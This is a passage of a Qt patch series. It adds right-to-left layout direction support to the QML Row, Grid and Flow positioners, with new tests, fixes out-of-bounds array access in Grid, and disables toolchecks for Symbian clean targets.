+Qt::LayoutDirection QDeclarativeFlow::layoutDirection() const +{ + Q_D(const QDeclarativeFlow); + return d->layoutDirection; +} + +void QDeclarativeFlow::setLayoutDirection(Qt::LayoutDirection layoutDirection) +{ + Q_D(QDeclarativeFlow); + if (d->layoutDirection != layoutDirection) { + d->layoutDirection = layoutDirection; + prePositioning(); + emit layoutDirectionChanged(); + } +} + void QDeclarativeFlow::doPositioning(QSizeF *contentSize) { Q_D(QDeclarativeFlow); @@ -1081,6 +1231,7 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) int hoffset = 0; int voffset = 0; int linemax = 0; + int hoffsets[positionedItems.count()]; for (int i = 0; i < positionedItems.count(); ++i) { const PositionedItem &child = positionedItems.at(i); @@ -1102,10 +1253,14 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) } } - if(child.item->x() != hoffset || child.item->y() != voffset){ - positionX(hoffset, child); - positionY(voffset, child); + if(d->layoutDirection == Qt::LeftToRight){ + if(child.item->x() != hoffset) + positionX(hoffset, child); + }else{ + hoffsets[i] = hoffset; } + if(child.item->y() != voffset) + positionY(voffset, child); contentSize->setWidth(qMax(contentSize->width(), hoffset + childPrivate->width())); contentSize->setHeight(qMax(contentSize->height(), voffset + childPrivate->height())); @@ -1120,6 +1275,23 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) linemax = qMax(linemax, qCeil(childPrivate->width())); } } + + if(d->layoutDirection == Qt::LeftToRight) + return; + + int end; + if(widthValid()) + end = width(); + else + end = contentSize->width(); + for (int i = 0; i < positionedItems.count(); ++i) { + const PositionedItem &child = positionedItems.at(i); + if (!child.item || !child.isVisible) + continue; + hoffset = end - hoffsets[i] - QGraphicsItemPrivate::get(child.item)->width(); + if(child.item->x() != hoffset) + positionX(hoffset, child); + } } void QDeclarativeFlow::reportConflictingAnchors() diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h index d3ae926..e3358fa 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners_p.h +++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h @@ -129,12 +129,21 @@ private: class Q_AUTOTEST_EXPORT QDeclarativeRow: public QDeclarativeBasePositioner { Q_OBJECT + Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1); public: QDeclarativeRow(QDeclarativeItem *parent=0); + + Qt::LayoutDirection layoutDirection() const; + void setLayoutDirection (Qt::LayoutDirection); + +Q_SIGNALS: + Q_REVISION(1) void layoutDirectionChanged(); + protected: virtual void doPositioning(QSizeF *contentSize); virtual void reportConflictingAnchors(); private: + Qt::LayoutDirection m_layoutDirection; Q_DISABLE_COPY(QDeclarativeRow) }; @@ -144,6 +153,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeGrid : public QDeclarativeBasePositioner Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged) Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged) Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged) + Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1); public: QDeclarativeGrid(QDeclarativeItem *parent=0); @@ -159,10 +169,14 @@ public: Flow flow() const; void setFlow(Flow); + Qt::LayoutDirection layoutDirection() const; + void setLayoutDirection (Qt::LayoutDirection); + Q_SIGNALS: void rowsChanged(); void columnsChanged(); void flowChanged(); + Q_REVISION(1) void layoutDirectionChanged(); protected: virtual void doPositioning(QSizeF *contentSize); @@ -172,6 +186,7 @@ private: int m_rows; int m_columns; Flow m_flow; + Qt::LayoutDirection m_layoutDirection; Q_DISABLE_COPY(QDeclarativeGrid) }; @@ -179,6 +194,7 @@ class QDeclarativeFlowPrivate; class Q_AUTOTEST_EXPORT QDeclarativeFlow: public QDeclarativeBasePositioner { Q_OBJECT + Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1); Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged) public: QDeclarativeFlow(QDeclarativeItem *parent=0); @@ -188,8 +204,12 @@ public: Flow flow() const; void setFlow(Flow); + Qt::LayoutDirection layoutDirection() const; + void setLayoutDirection (Qt::LayoutDirection); + Q_SIGNALS: void flowChanged(); + Q_REVISION(1) void layoutDirectionChanged(); protected: virtual void doPositioning(QSizeF *contentSize); diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml index 51c8134..ee4e104 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml @@ -1,16 +1,19 @@ -import QtQuick 1.0 +import QtQuick 1.1 Rectangle { width: 300; height: 200; - property bool leftToRight: false + property int flowLayout: 1 Flow { objectName: "flow" - flow: leftToRight ? Flow.LeftToRight : Flow.TopToBottom + layoutDirection: (flowLayout == 2) ? Qt.RightToLeft : Qt.LeftToRight + flow: (flowLayout == 1) ? Flow.TopToBottom : Flow.LeftToRight; + spacing: 20 anchors.horizontalCenter: parent.horizontalCenter Rectangle { color: "red"; width: 100; height: 50 } Rectangle { color: "blue"; width: 100; height: 50 } } } + diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml new file mode 100644 index 0000000..ec1d666 --- /dev/null +++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml @@ -0,0 +1,44 @@ +import QtQuick 1.1 + +Item { + height: 90 + width: 480 + property bool testRightToLeft: false + + Flow { + objectName: "flow" + height: parent.height + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight + flow: Flow.TopToBottom + Rectangle { + objectName: "one" + color: "red" + width: 50 + height: 50 + } + Rectangle { + objectName: "two" + color: "green" + width: 20 + height: 50 + } + Rectangle { + objectName: "three" + color: "blue" + width: 50 + height: 20 + } + Rectangle { + objectName: "four" + color: "cyan" + width: 50 + height: 50 + } + Rectangle { + objectName: "five" + color: "magenta" + width: 10 + height: 10 + } + } +} diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml index 2810234..7c124a3 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml @@ -1,11 +1,14 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 90 height: 480 + property bool testRightToLeft: false + Flow { objectName: "flow" width: parent.width + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight Rectangle { objectName: "one" color: "red" diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml index e13f078..3dcbed1 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml @@ -1,11 +1,14 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 640 height: 480 + property bool testRightToLeft: true + Grid { objectName: "grid" columns: 3 + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight add: Transition { NumberAnimation { properties: "x,y"; diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml new file mode 100644 index 0000000..0ec1f37 --- /dev/null +++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-righttoleft.qml @@ -0,0 +1,41 @@ +import QtQuick 1.1 + +Item { + width: 640 + height: 480 + Grid { + objectName: "grid" + columns: 3 + layoutDirection: Qt.RightToLeft + Rectangle { + objectName: "one" + color: "red" + width: 50 + height: 50 + } + Rectangle { + objectName: "two" + color: "green" + width: 20 + height: 50 + } + Rectangle { + objectName: "three" + color: "blue" + width: 50 + height: 20 + } + Rectangle { + objectName: "four" + color: "cyan" + width: 50 + height: 50 + } + Rectangle { + objectName: "five" + color: "magenta" + width: 10 + height: 10 + } + } +} diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml index 5b064cd..3c95f53 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml @@ -1,10 +1,13 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 640 height: 480 + property bool testRightToLeft: false + Row { objectName: "row" + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight add: Transition { NumberAnimation { properties: "x"; diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml index 2b46bca..64bedb0 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml @@ -1,11 +1,14 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 640 height: 480 + property bool testRightToLeft: false + Row { objectName: "row" spacing: 10 + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight Rectangle { objectName: "one" color: "red" diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml index 919cecc..e1a9652 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml @@ -1,10 +1,13 @@ -import QtQuick 1.0 +import QtQuick 1.1 Item { width: 640 height: 480 + property bool testRightToLeft: false + Row { objectName: "row" + layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight Rectangle { objectName: "one" color: "red" diff --git a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp index 254349f..cdf6933 100644 --- a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp +++ b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp @@ -62,20 +62,28 @@ public: private slots: void test_horizontal(); + void test_horizontal_rtl(); void test_horizontal_spacing(); + void test_horizontal_spacing_rightToLeft(); void test_horizontal_animated(); + void test_horizontal_animated_rightToLeft(); void test_vertical(); void test_vertical_spacing(); void test_vertical_animated(); void test_grid(); void test_grid_topToBottom(); + void test_grid_rightToLeft(); void test_grid_spacing(); void test_grid_animated(); + void test_grid_animated_rightToLeft(); void test_grid_zero_columns(); void test_propertychanges(); void test_repeater(); void test_flow(); + void test_flow_rightToLeft(); + void test_flow_topToBottom(); void test_flow_resize(); + void test_flow_resize_rightToLeft(); void test_flow_implicit_resize(); void test_conflictinganchors(); void test_vertical_qgraphicswidget(); @@ -91,6 +99,8 @@ void tst_QDeclarativePositioners::test_horizontal() { QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -114,10 +124,41 @@ void tst_QDeclarativePositioners::test_horizontal() delete canvas; } +void tst_QDeclarativePositioners::test_horizontal_rtl() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + + QCOMPARE(one->x(), 60.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 40.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 0.0); + QCOMPARE(three->y(), 0.0); + + QDeclarativeItem *row = canvas->rootObject()->findChild("row"); + QCOMPARE(row->width(), 110.0); + QCOMPARE(row->height(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_horizontal_spacing() { QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -141,10 +182,41 @@ void tst_QDeclarativePositioners::test_horizontal_spacing() delete canvas; } +void tst_QDeclarativePositioners::test_horizontal_spacing_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + + QCOMPARE(one->x(), 80.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 50.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 00.0); + QCOMPARE(three->y(), 0.0); + + QDeclarativeItem *row = canvas->rootObject()->findChild("row"); + QCOMPARE(row->width(), 130.0); + QCOMPARE(row->height(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_horizontal_animated() { QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -193,6 +265,60 @@ void tst_QDeclarativePositioners::test_horizontal_animated() delete canvas; } +void tst_QDeclarativePositioners::test_horizontal_animated_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + + //Note that they animate in + QCOMPARE(one->x(), -100.0); + QCOMPARE(two->x(), -100.0); + QCOMPARE(three->x(), -100.0); + + QDeclarativeItem *row = canvas->rootObject()->findChild("row"); + QVERIFY(row); + QCOMPARE(row->width(), 100.0); + QCOMPARE(row->height(), 50.0); + + //QTRY_COMPARE used instead of waiting for the expected time of animation completion + //Note that this means the duration of the animation is NOT tested + + QTRY_COMPARE(one->x(), 50.0); + QTRY_COMPARE(one->y(), 0.0); + QTRY_COMPARE(two->opacity(), 0.0); + QTRY_COMPARE(two->x(), -100.0);//Not 'in' yet + QTRY_COMPARE(two->y(), 0.0); + QTRY_COMPARE(three->x(), 0.0); + QTRY_COMPARE(three->y(), 0.0); + + //Add 'two' + two->setOpacity(1.0); + QCOMPARE(two->opacity(), 1.0); + + // New size should be immediate + QCOMPARE(row->width(), 150.0); + QCOMPARE(row->height(), 50.0); + + QTest::qWait(0);//Let the animation start + QCOMPARE(one->x(), 50.0); + QCOMPARE(two->x(), -100.0); + + QTRY_COMPARE(one->x(), 100.0); + QTRY_COMPARE(two->x(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_vertical() { QDeclarativeView *canvas = createView(SRCDIR "/data/vertical.qml"); @@ -364,6 +490,40 @@ void tst_QDeclarativePositioners::test_grid_topToBottom() delete canvas; } +void tst_QDeclarativePositioners::test_grid_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/grid-righttoleft.qml"); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 70.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 50.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 0.0); + QCOMPARE(three->y(), 0.0); + QCOMPARE(four->x(), 70.0); + QCOMPARE(four->y(), 50.0); + QCOMPARE(five->x(), 60.0); + QCOMPARE(five->y(), 50.0); + + QDeclarativeGrid *grid = canvas->rootObject()->findChild("grid"); + QCOMPARE(grid->layoutDirection(), Qt::RightToLeft); + QCOMPARE(grid->width(), 120.0); + QCOMPARE(grid->height(), 100.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_grid_spacing() { QDeclarativeView *canvas = createView(SRCDIR "/data/grid-spacing.qml"); @@ -401,6 +561,8 @@ void tst_QDeclarativePositioners::test_grid_animated() { QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + //Note that all animate in QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -478,6 +640,89 @@ void tst_QDeclarativePositioners::test_grid_animated() delete canvas; } +void tst_QDeclarativePositioners::test_grid_animated_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + //Note that all animate in + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QCOMPARE(one->x(), -100.0); + QCOMPARE(one->y(), -100.0); + + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QCOMPARE(two->x(), -100.0); + QCOMPARE(two->y(), -100.0); + + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QCOMPARE(three->x(), -100.0); + QCOMPARE(three->y(), -100.0); + + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QCOMPARE(four->x(), -100.0); + QCOMPARE(four->y(), -100.0); + + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + QCOMPARE(five->x(), -100.0); + QCOMPARE(five->y(), -100.0); + + QDeclarativeItem *grid = canvas->rootObject()->findChild("grid"); + QVERIFY(grid); + QCOMPARE(grid->width(), 150.0); + QCOMPARE(grid->height(), 100.0); + + //QTRY_COMPARE used instead of waiting for the expected time of animation completion + //Note that this means the duration of the animation is NOT tested + + QTRY_COMPARE(one->y(), 0.0); + QTRY_COMPARE(one->x(), 100.0); + QTRY_COMPARE(two->opacity(), 0.0); + QTRY_COMPARE(two->y(), -100.0); + QTRY_COMPARE(two->x(), -100.0); + QTRY_COMPARE(three->y(), 0.0); + QTRY_COMPARE(three->x(), 50.0); + QTRY_COMPARE(four->y(), 0.0); + QTRY_COMPARE(four->x(), 0.0); + QTRY_COMPARE(five->y(), 50.0); + QTRY_COMPARE(five->x(), 100.0); + + //Add 'two' + two->setOpacity(1.0); + QCOMPARE(two->opacity(), 1.0); + QCOMPARE(grid->width(), 150.0); + QCOMPARE(grid->height(), 100.0); + QTest::qWait(0);//Let the animation start + QCOMPARE(two->x(), -100.0); + QCOMPARE(two->y(), -100.0); + QCOMPARE(one->x(), 100.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(three->x(), 50.0); + QCOMPARE(three->y(), 0.0); + QCOMPARE(four->x(), 0.0); + QCOMPARE(four->y(), 0.0); + QCOMPARE(five->x(), 100.0); + QCOMPARE(five->y(), 50.0); + //Let the animation complete + QTRY_COMPARE(two->x(), 50.0); + QTRY_COMPARE(two->y(), 0.0); + QTRY_COMPARE(one->x(), 100.0); + QTRY_COMPARE(one->y(), 0.0); + QTRY_COMPARE(three->x(), 0.0); + QTRY_COMPARE(three->y(), 0.0); + QTRY_COMPARE(four->x(), 100.0); + QTRY_COMPARE(four->y(), 50.0); + QTRY_COMPARE(five->x(), 50.0); + QTRY_COMPARE(five->y(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_grid_zero_columns() { QDeclarativeView *canvas = createView(SRCDIR "/data/gridzerocolumns.qml"); @@ -597,6 +842,8 @@ void tst_QDeclarativePositioners::test_flow() { QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); + canvas->rootObject()->setProperty("testRightToLeft", false); + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); @@ -627,6 +874,95 @@ void tst_QDeclarativePositioners::test_flow() delete canvas; } +void tst_QDeclarativePositioners::test_flow_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 40.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 20.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 40.0); + QCOMPARE(three->y(), 50.0); + QCOMPARE(four->x(), 40.0); + QCOMPARE(four->y(), 70.0); + QCOMPARE(five->x(), 30.0); + QCOMPARE(five->y(), 70.0); + + QDeclarativeItem *flow = canvas->rootObject()->findChild("flow"); + QVERIFY(flow); + QCOMPARE(flow->width(), 90.0); + QCOMPARE(flow->height(), 120.0); + + delete canvas; +} + +void tst_QDeclarativePositioners::test_flow_topToBottom() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest-toptobottom.qml"); + + canvas->rootObject()->setProperty("testRightToLeft", false); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 0.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 50.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 50.0); + QCOMPARE(three->y(), 50.0); + QCOMPARE(four->x(), 100.0); + QCOMPARE(four->y(), 00.0); + QCOMPARE(five->x(), 100.0); + QCOMPARE(five->y(), 50.0); + + QDeclarativeItem *flow = canvas->rootObject()->findChild("flow"); + QVERIFY(flow); + QCOMPARE(flow->height(), 90.0); + QCOMPARE(flow->width(), 150.0); + + canvas->rootObject()->setProperty("testRightToLeft", true); + + QVERIFY(flow); + QCOMPARE(flow->height(), 90.0); + QCOMPARE(flow->width(), 150.0); + + QCOMPARE(one->x(), 100.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 80.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 50.0); + QCOMPARE(three->y(), 50.0); + QCOMPARE(four->x(), 0.0); + QCOMPARE(four->y(), 0.0); + QCOMPARE(five->x(), 40.0); + QCOMPARE(five->y(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_flow_resize() { QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); @@ -634,6 +970,7 @@ void tst_QDeclarativePositioners::test_flow_resize() QDeclarativeItem *root = qobject_cast(canvas->rootObject()); QVERIFY(root); root->setWidth(125); + root->setProperty("testRightToLeft", false); QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); QVERIFY(one != 0); @@ -660,6 +997,40 @@ void tst_QDeclarativePositioners::test_flow_resize() delete canvas; } +void tst_QDeclarativePositioners::test_flow_resize_rightToLeft() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); + + QDeclarativeItem *root = qobject_cast(canvas->rootObject()); + QVERIFY(root); + root->setWidth(125); + root->setProperty("testRightToLeft", true); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 75.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 55.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 5.0); + QCOMPARE(three->y(), 0.0); + QCOMPARE(four->x(), 75.0); + QCOMPARE(four->y(), 50.0); + QCOMPARE(five->x(), 65.0); + QCOMPARE(five->y(), 50.0); + + delete canvas; +} + void tst_QDeclarativePositioners::test_flow_implicit_resize() { QDeclarativeView *canvas = createView(SRCDIR "/data/flow-testimplicitsize.qml"); @@ -671,16 +1042,21 @@ void tst_QDeclarativePositioners::test_flow_implicit_resize() QCOMPARE(flow->width(), 100.0); QCOMPARE(flow->height(), 120.0); - canvas->rootObject()->setProperty("leftToRight", true); + canvas->rootObject()->setProperty("flowLayout", 0); QCOMPARE(flow->flow(), QDeclarativeFlow::LeftToRight); QCOMPARE(flow->width(), 220.0); QCOMPARE(flow->height(), 50.0); - canvas->rootObject()->setProperty("leftToRight", false); + canvas->rootObject()->setProperty("flowLayout", 1); QCOMPARE(flow->flow(), QDeclarativeFlow::TopToBottom); QCOMPARE(flow->width(), 100.0); QCOMPARE(flow->height(), 120.0); + canvas->rootObject()->setProperty("flowLayout", 2); + QCOMPARE(flow->layoutDirection(), Qt::RightToLeft); + QCOMPARE(flow->width(), 220.0); + QCOMPARE(flow->height(), 50.0); + delete canvas; } -- cgit v0.12 From 28951758263e1512b00ca8e2e91a0cc95d176512 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 18 Jan 2011 17:00:49 +1000 Subject: Avoid index out of bounds array accesses --- src/declarative/graphicsitems/qdeclarativepositioners.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index c4b35a8..b3383ab 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -905,6 +905,9 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize) c = (numVisible+(m_rows-1))/m_rows; } + if(r==0 || c==0) + return; //Nothing to do + QList maxColWidth; QList maxRowHeight; int childIndex =0; @@ -949,14 +952,14 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize) } int widthSum = 0; - for(int j=0; j < c; j++){ + for(int j=0; j < maxColWidth.size(); j++){ if(j) widthSum += spacing(); widthSum += maxColWidth[j]; } int heightSum = 0; - for(int i=0; i < r; i++){ + for(int i=0; i < maxRowHeight.size(); i++){ if(i) heightSum += spacing(); heightSum += maxRowHeight[i]; -- cgit v0.12 From c756d5cffdc31228b9ab9388c307bf4eb705b923 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Tue, 18 Jan 2011 11:44:29 +0200 Subject: Remove toolcheck from generic clean targets for symbian-sbsv2 Toolcheck can cause generic clean fail (i.e. "make clean" or "make debug-clean") for e.g. environments where Carbide command line tools have not been installed, because sbsv2 toolchain does a check for all tools related to target platforms, even though they are not needed for actual cleaning. Task-number: QTBUG-16691 Reviewed-by: Janne Koskinen --- qmake/generators/symbian/symmake_sbsv2.cpp | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp index f6f2e78..47c5b31 100644 --- a/qmake/generators/symbian/symmake_sbsv2.cpp +++ b/qmake/generators/symbian/symmake_sbsv2.cpp @@ -386,7 +386,7 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo } t << endl; t << "clean-debug: " << BLD_INF_FILENAME << endl; - t << "\t$(SBS) reallyclean"; + t << "\t$(SBS) reallyclean --toolcheck=off"; foreach(QString clause, debugClauses) { t << clause; } @@ -406,7 +406,7 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo } t << endl; t << "clean-release: " << BLD_INF_FILENAME << endl; - t << "\t$(SBS) reallyclean"; + t << "\t$(SBS) reallyclean --toolcheck=off"; foreach(QString clause, releaseClauses) { t << clause; } @@ -516,8 +516,10 @@ void SymbianSbsv2MakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, boo generateDistcleanTargets(t); + // Do not check for tools when doing generic clean, as most tools are not actually needed for + // cleaning. Mainly this is relevant for environments that do not have winscw compiler. t << "clean: " << BLD_INF_FILENAME << endl; - t << "\t-$(SBS) reallyclean"; + t << "\t-$(SBS) reallyclean --toolcheck=off"; foreach(QString clause, allClauses) { t << 